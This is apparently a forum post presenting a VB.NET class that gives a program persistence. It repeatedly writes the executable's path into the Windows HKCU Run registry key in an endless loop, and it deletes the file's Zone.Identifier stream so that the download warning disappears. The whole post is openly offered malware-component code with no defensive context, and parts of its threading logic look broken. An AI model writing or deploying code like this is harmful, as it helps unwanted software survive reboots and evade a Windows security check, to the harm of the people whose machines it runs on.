Código:
Imports Microsoft.Win32
Imports System.Runtime.InteropServices
'Credits
'Salmoneus - The rest of the code.
'JeromeMarshall - For tutorial on deleting the ADS entry.
Public Class Startup
Private Value As String
Private Delegate Sub C()
Private Delegate Sub V()
Private Delegate Sub W()
Private Delegate Sub L()
Private Delegate Sub CL()
Private Delegate Sub DZ()
Dim T As New Threading.Thread(AddressOf Persistence)
<DllImport("kernel32", CharSet:=CharSet.Unicode, SetLastError:=True)> _
Public Shared Function DeleteFile(ByVal name As String) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
Public Sub New()
Dim DZone As New DZ(AddressOf DeleteZone)
Try : DZone.Invoke() : Catch : End Try
T.Start()
End Sub
Private Sub Persistence(ByVal RegValue As String)
Value = RegValue
Dim CK As C = New C(AddressOf CreateKey)
Dim SV As V = New V(AddressOf SetValue)
Dim WA As W = New W(AddressOf Wait)
Dim CLO As CL = New CL(AddressOf Close)
Dim LO As L = New L(AddressOf Looper)
CK.Invoke()
WA.Invoke()
SV.Invoke()
WA.Invoke()
CLO.Invoke()
LO.Invoke()
End Sub
Private Sub Wait()
Dim R As New Random
Threading.Thread.Sleep(R.Next(100, 300))
End Sub
Private Sub Looper()
Persistence(Value)
End Sub
Private Sub CreateKey()
If BoolCheck = True Then : RegKey.CreateSubKey(AppName) : Else : Exit Sub : End If
Close()
End Sub
Private Sub SetValue()
If BoolCheck = True Then : RegKey.SetValue(Value, AppName) : Else : Exit Sub : End If
End Sub
Private Sub Close()
RegKey.Close()
End Sub
Private Sub DeleteZone()
If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
End Sub
Private ReadOnly Property RegKey As RegistryKey
Get
Dim Startup As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
Return Startup
End Get
End Property
Private ReadOnly Property RegValue As String
Get
Dim Value As String = RegKey.GetValue(AppName)
Return Value
End Get
End Property
Private ReadOnly Property BoolCheck As Boolean
Get
If RegValue <> AppName Then
Return True
End If
Return False
End Get
End Property
Private ReadOnly Property AppName As String
Get
Return Application.ExecutablePath.ToString()
End Get
End Property
End Class
Thanks in Advance!